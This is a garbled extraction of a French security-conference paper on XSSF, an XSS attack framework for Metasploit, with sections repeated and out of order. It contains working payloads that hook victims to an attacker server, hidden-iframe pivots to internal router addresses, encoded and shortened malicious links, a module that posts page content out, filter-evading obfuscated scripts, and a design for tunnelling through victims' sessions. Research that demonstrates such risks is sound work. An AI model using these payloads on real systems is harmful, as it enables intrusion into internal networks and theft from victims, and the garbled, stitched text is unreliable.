Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 17: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

